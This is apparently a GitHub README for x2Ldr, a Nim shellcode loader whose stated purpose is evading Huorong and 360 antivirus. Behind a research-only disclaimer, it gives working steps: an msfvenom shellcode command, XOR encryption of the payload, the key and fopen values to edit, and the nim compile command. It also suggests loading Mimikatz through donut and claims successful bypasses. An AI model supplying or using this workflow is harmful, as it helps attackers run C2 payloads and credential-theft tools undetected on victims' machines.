Skip to content

Latest commit

 

History

History
79 lines (44 loc) · 1.71 KB

README.md

File metadata and controls

79 lines (44 loc) · 1.71 KB

免责声明:本工具仅用于安全研究和教学目的,用户应自行承担因使用该工具而引起的一切法律和相关责任。作者不对任何法律责任承担责任。

x2Ldr

2023年12月15日 新增一个无需分离 nim 实现的加载方式 - x2Ldr-Plus

免杀效果:火绒、360(未开核晶)均联网

读入 Msfvenom 或 Cobalt Strike 等 C2 的 Shellcode 方式分离免杀

或者配合 donut 可以将 exe、dll 转为 Shellcode 载入 MimiKatz 等工具

使用方法

在 windows 配置 nim 环境。 官网下载 https://nim-lang.org/install_windows.html

https://nim-lang.org/download/nim-2.0.0_x64.zip

msfvenom 生成 shellcode

msfvenom -a x64 -p windows/x64/exec CMD=calc -f raw -o calc_x64.bin

xor 加密 msfvenom 生成的 raw 格式 shellcode

> python .\xorencrypt.py .\calc_x64.bin
> xor encrypted : .\calc_encrypted.bin

将加密后的文件名作为参数传递给 nim 文件中的 fopen 参数

	//修改这里
	char key[] = "key";

	//修改这里
	fp = fopen("user.dat", "rb");

编译

nim c -d=mingw --app=gui --cpu=amd64 -d:release --opt:size --passL:-static .\x2Ldr.nim

x2Ldr-Plus

image-20240101112808827

将 python 脚本生成的内容放入 nim 代码中, 修改红框处内容。

image-20240101112909399

编译文件

image-20240101113022061

效果

image-20231212214131373

image-20231212214155866

huorong

image-20231212204157772

360

image-20231212213425036

image-20231212213449828